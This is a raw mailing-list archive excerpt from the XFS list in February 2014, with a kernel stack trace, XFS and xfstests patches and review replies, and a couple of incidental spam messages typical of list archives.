[xfs] [] ? _xfs_buf_find+0x1f6/0x3c0 [xfs] [] xfs_buf_lock+0x133/0x140 [xfs] [] _xfs_buf_find+0x1f6/0x3c0 [xfs] [] xfs_buf_get_map+0x2a/0x1b0 [xfs] [] xfs_trans_get_buf_map+0x1a1/0x240 [xfs] [] xfs_da_get_buf+0xbd/0x100 [xfs] [] xfs_dir3_data_init+0x59/0x1d0 [xfs] [] ? xfs_dir2_grow_inode+0x13b/0x150 [xfs] [] xfs_dir2_sf_to_block+0x17e/0x7b0 [xfs] [] ? xfs_dir2_sfe_get_ino+0x1a/0x20 [xfs] [] ? xfs_dir2_sf_check.isra.7+0x114/0x1b0 [xfs] [] ? xfs_da_compname+0x1f/0x30 [xfs] [] ? xfs_dir2_sf_lookup+0x303/0x310 [xfs] [] xfs_dir2_sf_addname+0x348/0x6d0 [xfs] [] ? xfs_setup_inode+0x1cd/0x320 [xfs] [] xfs_dir_createname+0x184/0x1e0 [xfs] [] xfs_create+0x469/0x580 [xfs] [] xfs_vn_mknod+0xc4/0x1e0 [xfs] [] xfs_vn_create+0x13/0x20 [xfs] [] vfs_create+0x95/0xc0 [] do_last.isra.51+0x9f8/0x11f0 [] ? link_path_walk+0x81/0x870 [] path_openat+0xc9/0x620 [] ? put_dec+0x72/0x90 [] do_filp_open+0x4d/0xb0 [] file_open_name+0xfe/0x160 [] filp_open+0x44/0x60 [] do_coredump+0x602/0xf60 [] get_signal_to_deliver+0x2b8/0x6b0 [] do_signal+0x57/0x9d0 [] ? __acct_update_integrals+0x8e/0x120 [] ? __schedule+0x60/0x850 [] ? preempt_count_sub+0x6b/0xf0 [] ? _raw_spin_unlock+0x31/0x50 [] ? vtime_account_user+0x91/0xa0 [] ? context_tracking_user_exit+0x9b/0x100 [] do_notify_resume+0x5c/0xa0 [] retint_signal+0x46/0x90 ---[ end trace e6e48f6461c98e81 ]--- From prvs=01199fcf39=fbar3civ@tjmg.jus.br Tue Feb 11 11:29:10 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 391867F50 for ; Tue, 11 Feb 2014 11:29:10 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id D4577AC019 for ; Tue, 11 Feb 2014 09:29:06 -0800 (PST) X-ASG-Debug-ID: 1392139733-04bdf0121d2bcdb0001-NocioJ Received: from mailgw.tjmg.jus.br (mailgw.tjmg.jus.br [201.48.156.181]) by cuda.sgi.com with ESMTP id em7nXaqj67RAvkIN (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 11 Feb 2014 09:29:00 -0800 (PST) X-Barracuda-Envelope-From: prvs=01199fcf39=fbar3civ@tjmg.jus.br X-Barracuda-Apparent-Source-IP: 201.48.156.181 Received: from zimmta-1.tjmg.jus.br (mail.tjmg.jus.br [201.48.156.182]) by mailgw.tjmg.jus.br with smtp id 4677_2da9_8ba808b0_1092_40db_b5c0_5a1ffcf26f5b; Tue, 11 Feb 2014 15:19:12 -0200 Date: Tue, 11 Feb 2014 15:12:11 -0200 (BRST) From: "Mrs. Mridula" X-Duvidoso: sim Reply-To: "Mrs.Mridula" Subject: RE Message-ID: <915c0605-9b41-4d35-b7ec-e28d1e9a3bc1@zimmbox-1.tjmg.jus.br> X-ASG-Orig-Subj: RE Content-Type: multipart/alternative; boundary="=_0bcd588d-1dd0-466f-ba84-9ae80315d4f8" MIME-Version: 1.0 X-Originating-IP: [41.203.69.3] X-Mailer: Zimbra 7.1.3_GA_3346 (zclient/7.1.3_GA_3346) To: undisclosed-recipients:; X-Barracuda-Connect: mailgw.tjmg.jus.br[201.48.156.181] X-Barracuda-Start-Time: 1392139738 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.70 X-Barracuda-Spam-Status: No, SCORE=0.70 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA620a, BSF_SC7_SA298e, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145029 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.50 BSF_SC0_SA620a Custom Rule SA620a 0.20 BSF_SC7_SA298e Custom Rule SA298e --=_0bcd588d-1dd0-466f-ba84-9ae80315d4f8 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit I need your assist on a project --=_0bcd588d-1dd0-466f-ba84-9ae80315d4f8 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit I need your assist on a project --=_0bcd588d-1dd0-466f-ba84-9ae80315d4f8-- From agora@konaksarayhotel.com Tue Feb 11 11:37:29 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.1 required=5.0 tests=HDRS_LCASE autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 73BE07F50 for ; Tue, 11 Feb 2014 11:37:29 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 554F78F8050 for ; Tue, 11 Feb 2014 09:37:26 -0800 (PST) X-ASG-Debug-ID: 1392140239-04cbb00c28294740001-w1Z2WR Received: from mx01.radorehosting.com (mx01.radorehosting.com [94.101.95.7]) by cuda.sgi.com with ESMTP id 10QNT0lr2eyZ1obD for ; Tue, 11 Feb 2014 09:37:20 -0800 (PST) X-Barracuda-Envelope-From: agora@konaksarayhotel.com X-Barracuda-Apparent-Source-IP: 94.101.95.7 Received: from localhost (mailbox.local.radore.net [192.168.95.9]) by mx01.radorehosting.com (Postfix) with ESMTP id 42D2FC11A8 for ; Tue, 11 Feb 2014 19:37:19 +0200 (EET) X-Virus-Scanned: amavisd-new at radorehosting.com Received: from mx01.radorehosting.com ([192.168.95.8]) by localhost (mailbox.radore.net [192.168.95.9]) (amavisd-new, port 10026) with LMTP id unCbI-Av1Pka for ; Tue, 11 Feb 2014 19:37:14 +0200 (EET) Received: from [192.168.2.95] (unknown [78.186.192.254]) by mx01.radorehosting.com (Postfix) with ESMTPA id D05FDC102C for ; Tue, 11 Feb 2014 19:32:47 +0200 (EET) Message-Id: Mime-Version: 1.0 From: Agora Konak Saray Hotel To: "linux-xfs" Subject: Izmirdeki ikinci eviniz.. Date: Tue, 11 Feb 2014 19:33:29 +0200 X-ASG-Orig-Subj: Izmirdeki ikinci eviniz.. X-Bounce-Tracking-Info: Content-type: text/plain; charset=iso-8859-1; format=flowed Content-transfer-encoding: quoted-printable X-Barracuda-Connect: mx01.radorehosting.com[94.101.95.7] X-Barracuda-Start-Time: 1392140240 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.00 X-Barracuda-Spam-Status: No, SCORE=1.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HOTEL, WEIRD_PORT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145029 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.50 HOTEL BODY: hotel 0.50 WEIRD_PORT URI: Uses non-standard port number for HTTP KENDI EVINIZ GIBI=2E=2E=2E Tarihi Osmanli mimari yapisini sergilemekte olan KONAK SARAY OTELI; nezih, = sanatsal, nostaljik ve dinlendirici ortami m=FCsterilerimizin rahatligi ve= konforunu en =FCst seviyede tutmak i=E7in kurulmustur=2E Uzman ve isini ta= m anlami ile yapan kadrosu ile ve Izmir sehir merkezindeki konumu Adnan Men= deres Havalimani 15 Km , Izmir Merkez Otogarina 10 Km=2E , Efes Harabeleri= , Meryem Ana'ya 65 Km=2E ,tarihi AGORA ANTIK KENTI'ne ve Tarihi Sifali Ham= ama 50 mt=2E uzaklikta hizmet vermektedir=2E Her odamizda 24 saat sicak su (Rezistans destekli G=FCnes enerjisi), Klima= , uydu yayinli(ve D-SMART'li) Televizyon, Minibar, Direk hatli telefon, kab= losuz internet erisimi, Hilton banyo ve sa=E7 kurutma makinesi bulunmaktadi= r=2E Genis , kaliteli ve nezih restorant ve barimiz bulunmaktadir=2E Restor= antimizda her sabah zengin i=E7erikli A=E7ik B=FCfe Kahvalti , aksam yemegi= nde A la Carte servis ve =FCcretsiz otoparki ile misafirlerimize en iyi hiz= meti sunmaktayiz=2E AGORA KONAK SARAY SINGLE : 75 TL ( Oda & Kahvalti ) DOUBLE : 100 TL ( Oda & Kahvalti ) TRIPLE : 135 TL ( Oda & Kahvalti ) AGORA=A0 KONAK=A0 SARAY=A0 HOTEL =0BKESTELLI CAD=2ENO:113 KONAK/IZMIR TEL:0232 484 14 24 FAX : 0232 484 65 85 CEP : 0 530 234 3996 E-MAIL : HYPERLINK "mailto:agora@konaksarayhotel=2Ecom" agora@konaksarayhot= el=2Ecom =0BWEB : HYPERLINK "http://www=2Eagorakonaksaray=2Ecom" www= =2Eagorakonaksaray=2Ecom FIYATLARIMIZA KAHVALTI VE KDV DAHILDIR=2E From bfoster@redhat.com Tue Feb 11 12:00:43 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CFC817F50 for ; Tue, 11 Feb 2014 12:00:43 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id C13B2304043 for ; Tue, 11 Feb 2014 10:00:40 -0800 (PST) X-ASG-Debug-ID: 1392141639-04cb6c6de02a35f0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 8eOPxxOsyzs8v9hW for ; Tue, 11 Feb 2014 10:00:39 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1BI0VRM010971 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 11 Feb 2014 13:00:31 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1BI0Sl1018835 for ; Tue, 11 Feb 2014 13:00:28 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id 35EBD120178; Tue, 11 Feb 2014 13:07:46 -0500 (EST) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v2] xfs: avoid AGI/AGF deadlock scenario for inode chunk allocation Date: Tue, 11 Feb 2014 13:07:46 -0500 X-ASG-Orig-Subj: [PATCH v2] xfs: avoid AGI/AGF deadlock scenario for inode chunk allocation Message-Id: <1392142066-16174-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392141639 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The inode chunk allocation path can lead to deadlock conditions if a transaction is dirtied with an AGF (to fix up the freelist) for an AG that cannot satisfy the actual allocation request. This code path is written to try and avoid this scenario, but it can be reproduced by running xfstests generic/270 in a loop on a 512b fs. An example situation is: - process A attempts an inode allocation on AG 3, modifies the freelist, fails the allocation and ultimately moves on to AG 0 with the AG 3 AGF held - process B is doing a free space operation (i.e., truncate) and acquires the AG 0 AGF, waits on the AG 3 AGF - process A acquires the AG 0 AGI, waits on the AG 0 AGF (deadlock) The problem here is that process A acquired the AG 3 AGF while moving on to AG 0 (and releasing the AG 3 AGI with the AG 3 AGF held). xfs_dialloc() makes one pass through each of the AGs when attempting to allocate an inode chunk. The expectation is a clean transaction if a particular AG cannot satisfy the allocation request. xfs_ialloc_ag_alloc() is written to support this through use of the minalignslop allocation args field. When using the agi->agi_newino optimization, we attempt an exact bno allocation request based on the location of the previously allocated chunk. minalignslop is set to inform the allocator that we will require alignment on this chunk, and thus to not allow the request for this AG if the extra space is not available. Suppose that the AG in question has just enough space for this request, but not at the requested bno. xfs_alloc_fix_freelist() will proceed as normal as it determines the request should succeed, and thus it is allowed to modify the agf. xfs_alloc_ag_vextent() ultimately fails because the requested bno is not available. In response, the caller moves on to a NEAR_BNO allocation request for the same AG. The alignment is set, but the minalignslop field is never reset. This increases the overall requirement of the request from the first attempt. If this delta is the difference between allocation success and failure for the AG, xfs_alloc_fix_freelist() rejects this request outright the second time around and causes the allocation request to unnecessarily fail for this AG. To address this situation, reset the minalignslop field immediately after use and prevent it from leaking into subsequent requests. Signed-off-by: Brian Foster --- v2: - Reset minalignslop immediately after use rather than prior to the subsequent request and add a comment. [dchinner] fs/xfs/xfs_ialloc.c | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index 5d7f105..a57843f 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -363,6 +363,18 @@ xfs_ialloc_ag_alloc( args.minleft = args.mp->m_in_maxlevels - 1; if ((error = xfs_alloc_vextent(&args))) return error; + + /* + * This request might have dirtied the transaction if the AG can + * satisfy the request, but the exact block was not available. + * If the allocation did fail, subsequent requests will relax + * the exact agbno requirement and increase the alignment + * instead. It is critical that the total size of the request + * (len + alignment + slop) does not increase from this point + * on, so reset minalignslop to ensure it is not included in + * subsequent requests. + */ + args.minalignslop = 0; } else args.fsbno = NULLFSBLOCK; -- 1.8.3.1 From koen.de.wit@oracle.com Tue Feb 11 13:01:18 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9A04A7F50 for ; Tue, 11 Feb 2014 13:01:18 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8B7708F806F for ; Tue, 11 Feb 2014 11:01:18 -0800 (PST) X-ASG-Debug-ID: 1392145273-04cb6c6de32a98d0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id iPHdF4oAHkjNjbcJ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 11 Feb 2014 11:01:14 -0800 (PST) X-Barracuda-Envelope-From: koen.de.wit@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s1BJ1C2O005658 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 11 Feb 2014 19:01:12 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by ucsinet22.oracle.com (8.14.5+Sun/8.14.5) with ESMTP id s1BJ1A4S027509 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 11 Feb 2014 19:01:11 GMT Received: from abhmp0013.oracle.com (abhmp0013.oracle.com [141.146.116.19]) by userz7022.oracle.com (8.14.5+Sun/8.14.4) with ESMTP id s1BJ1ARk027494; Tue, 11 Feb 2014 19:01:10 GMT Received: from [192.168.0.163] (/178.116.134.76) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 11 Feb 2014 11:01:09 -0800 Message-ID: <52FA7374.2000209@oracle.com> Date: Tue, 11 Feb 2014 20:01:08 +0100 From: Koen De Wit Organization: Oracle Corporation User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH v3] xfstests: Btrfs: add test for large metadata blocks References: <1392068362-14049-1-git-send-email-koen.de.wit@oracle.com> <20140210220400.GV13647@dastard> X-ASG-Orig-Subj: Re: [PATCH v3] xfstests: Btrfs: add test for large metadata blocks In-Reply-To: <20140210220400.GV13647@dastard> Content-Type: multipart/alternative; boundary="------------060601040306060204000006" X-Source-IP: ucsinet22.oracle.com [156.151.31.94] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1392145274 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145031 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. --------------060601040306060204000006 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 02/10/2014 11:04 PM, Dave Chinner wrote: > On Mon, Feb 10, 2014 at 10:39:22PM +0100, Koen De Wit wrote: >> + >> +_test_illegal_leafsize() { >> + _scratch_mkfs -l $1 >>$seqres.full 2>&1 >> + [ $? -ne 0 ] || _fail "'$1' is an illegal value for the" \ >> + "leafsize option, mkfs should have failed." >> +} > You just re-implemented run_check.... I believe I didn't : run_check() { echo "# $@" >> $seqres.full 2>&1 "$@" >> $seqres.full 2>&1 || _fail "failed: '$@'" } run_check() takes an arbitrary command and executes it, _test_illegal_leafsize() takes a leafsize as parameter and tries mkfs.btrfs with that leafsize. run_check() makes the test fail if the return code is not zero, _test_illegal_leafsize() does the opposite. Thanks, Koen. --------------060601040306060204000006 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit On 02/10/2014 11:04 PM, Dave Chinner wrote:
On Mon, Feb 10, 2014 at 10:39:22PM +0100, Koen De Wit wrote:
+
+_test_illegal_leafsize() {
+        _scratch_mkfs -l $1 >>$seqres.full 2>&1
+        [ $? -ne 0 ] || _fail "'$1' is an illegal value for the" \
+                "leafsize option, mkfs should have failed."
+}
You just re-implemented run_check....

I believe I didn't :
run_check()
{
        echo "# $@" >> $seqres.full 2>&1
        "$@" >> $seqres.full 2>&1 || _fail "failed: '$@'"
}
run_check() takes an arbitrary command and executes it, _test_illegal_leafsize() takes a leafsize as parameter and tries mkfs.btrfs with that leafsize. run_check() makes the test fail if the return code is not zero, _test_illegal_leafsize() does the opposite.

Thanks,
Koen.
--------------060601040306060204000006-- From sandeen@sandeen.net Tue Feb 11 13:54:29 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4D7E07F50 for ; Tue, 11 Feb 2014 13:54:29 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2865B8F806F for ; Tue, 11 Feb 2014 11:54:28 -0800 (PST) X-ASG-Debug-ID: 1392148463-04bdf012202cb180001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id GlRL21y82Lxav9mR for ; Tue, 11 Feb 2014 11:54:23 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 30D8C61B1F71 for ; Tue, 11 Feb 2014 13:54:23 -0600 (CST) Message-ID: <52FA7FEE.7040307@sandeen.net> Date: Tue, 11 Feb 2014 13:54:22 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: xfs-oss Subject: Re: [PATCH 6/7] xfs: add xfs_verifier_error() References: <52F99426.3010409@sandeen.net> <52F9957A.4050301@sandeen.net> X-ASG-Orig-Subj: Re: [PATCH 6/7] xfs: add xfs_verifier_error() In-Reply-To: <52F9957A.4050301@sandeen.net> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392148463 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145033 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2/10/14, 9:14 PM, Eric Sandeen wrote: > We want to distinguish between corruption and CRC errors. > In addition, the full stack trace on verifier errors > seems less than helpful; it looks more like an oops than > corruption. > > Create a new function to specifically alert the user to > verifier errors, which can differentiate between > EFSCORRUPTED and CRC mismatches. It doesn't dump stack > unless the xfs error level is turned up high. > > Define a new error message (EFSBADCRC) to clearly identify > CRC errors. (Defined to EILSEQ, bad byte sequence) So, this now looks like: [259116.148375] XFS (loop0): Metadata corruption detected at xfs_sb_read_verify+0x118/0x150 [xfs], block 0x0. Unmount and run xfs_repair [259116.160345] ffff88022bab0000: 58 46 53 42 00 00 10 00 00 00 00 00 00 04 00 00 XFSB............ [259116.169109] ffff88022bab0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ [259116.177872] ffff88022bab0020: 73 df 07 64 a6 50 4d 5b 8d eb 2c 06 a1 ed e3 5c s..d.PM[..,....\ [259116.186638] ffff88022bab0030: 00 00 00 00 00 02 00 04 00 00 00 00 00 00 00 80 ................ [259116.195413] XFS (loop0): SB validate failed with error 117. when something fails. We should probably put a period after "xfs_repair" and also print one more line about what the hex spew means - "XFS (loop0): first 64 bytes of corrupted metadata buffer:" or something similar. -Eric > Signed-off-by: Eric Sandeen > --- > fs/xfs/xfs_error.c | 22 ++++++++++++++++++++++ > fs/xfs/xfs_error.h | 1 + > fs/xfs/xfs_linux.h | 1 + > 3 files changed, 24 insertions(+), 0 deletions(-) > > V2: Use __builtin_return_address(0) to avoid the macro > with __func__; this can eventually be pushed into the verifiers > themselves to issue a specific warning for each failure. > > diff --git a/fs/xfs/xfs_error.c b/fs/xfs/xfs_error.c > index 9995b80..db19133 100644 > --- a/fs/xfs/xfs_error.c > +++ b/fs/xfs/xfs_error.c > @@ -178,3 +178,25 @@ xfs_corruption_error( > xfs_error_report(tag, level, mp, filename, linenum, ra); > xfs_alert(mp, "Corruption detected. Unmount and run xfs_repair"); > } > + > +/* > + * Warnings specifically for verifier errors. Differentiate CRC vs. invalid > + * values, and omit the stack trace unless the error level is tuned high. > + */ > +void > +xfs_verifier_error( > + struct xfs_buf *bp) > +{ > + struct xfs_mount *mp = bp->b_target->bt_mount; > + > + xfs_alert(mp, > +"Metadata %s detected at %pF, block 0x%llx. Unmount and run xfs_repair", > + bp->b_error == EFSBADCRC ? "CRC error" : "corruption", > + __builtin_return_address(0), bp->b_bn); > + > + if (xfs_error_level >= XFS_ERRLEVEL_LOW) > + xfs_hex_dump(bp->b_addr, 64); > + > + if (xfs_error_level >= XFS_ERRLEVEL_HIGH) > + xfs_stack_trace(); > +} > diff --git a/fs/xfs/xfs_error.h b/fs/xfs/xfs_error.h > index 079a367..c1c57d4 100644 > --- a/fs/xfs/xfs_error.h > +++ b/fs/xfs/xfs_error.h > @@ -34,6 +34,7 @@ extern void xfs_error_report(const char *tag, int level, struct xfs_mount *mp, > extern void xfs_corruption_error(const char *tag, int level, > struct xfs_mount *mp, void *p, const char *filename, > int linenum, inst_t *ra); > +extern void xfs_verifier_error(struct xfs_buf *bp); > > #define XFS_ERROR_REPORT(e, lvl, mp) \ > xfs_error_report(e, lvl, mp, __FILE__, __LINE__, __return_address) > diff --git a/fs/xfs/xfs_linux.h b/fs/xfs/xfs_linux.h > index e8fed74..016ea8d 100644 > --- a/fs/xfs/xfs_linux.h > +++ b/fs/xfs/xfs_linux.h > @@ -179,6 +179,7 @@ typedef __uint64_t __psunsigned_t; > #define ENOATTR ENODATA /* Attribute not found */ > #define EWRONGFS EINVAL /* Mount with wrong filesystem type */ > #define EFSCORRUPTED EUCLEAN /* Filesystem is corrupted */ > +#define EFSBADCRC EILSEQ /* Bad CRC detected */ > > #define SYNCHRONIZE() barrier() > #define __return_address __builtin_return_address(0) > -- 1.7.1 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From cody@linux.vnet.ibm.com Tue Feb 11 13:55:30 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 571577F50 for ; Tue, 11 Feb 2014 13:55:30 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 00D0BAC016 for ; Tue, 11 Feb 2014 11:55:29 -0800 (PST) X-ASG-Debug-ID: 1392148528-04bdf012202cb2f0001-NocioJ Received: from e7.ny.us.ibm.com (e7.ny.us.ibm.com [32.97.182.137]) by cuda.sgi.com with ESMTP id x93MzwWmBhu3CbjC (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 11 Feb 2014 11:55:28 -0800 (PST) X-Barracuda-Envelope-From: cody@linux.vnet.ibm.com X-Barracuda-Apparent-Source-IP: 32.97.182.137 X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/32.97.182.137] Received: from /spool/local by e7.ny.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Tue, 11 Feb 2014 14:55:28 -0500 X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/32.97.182.137] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/32.97.182.137] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/32.97.182.137] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/32.97.182.137] Received: from d01dlp03.pok.ibm.com (9.56.250.168) by e7.ny.us.ibm.com (192.168.1.107) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Tue, 11 Feb 2014 14:55:26 -0500 Received: from b01cxnp23034.gho.pok.ibm.com (b01cxnp23034.gho.pok.ibm.com [9.57.198.29]) by d01dlp03.pok.ibm.com (Postfix) with ESMTP id A8DE0C9003E for ; Tue, 11 Feb 2014 14:55:22 -0500 (EST) Received: from d01av03.pok.ibm.com (d01av03.pok.ibm.com [9.56.224.217]) by b01cxnp23034.gho.pok.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id s1BJtPwk9175468 for ; Tue, 11 Feb 2014 19:55:25 GMT Received: from d01av03.pok.ibm.com (localhost [127.0.0.1]) by d01av03.pok.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id s1BJtPDB030829 for ; Tue, 11 Feb 2014 14:55:25 -0500 Received: from [9.80.95.14] ([9.80.95.14]) by d01av03.pok.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with ESMTP id s1BJtOKF030773 for ; Tue, 11 Feb 2014 14:55:24 -0500 Message-ID: 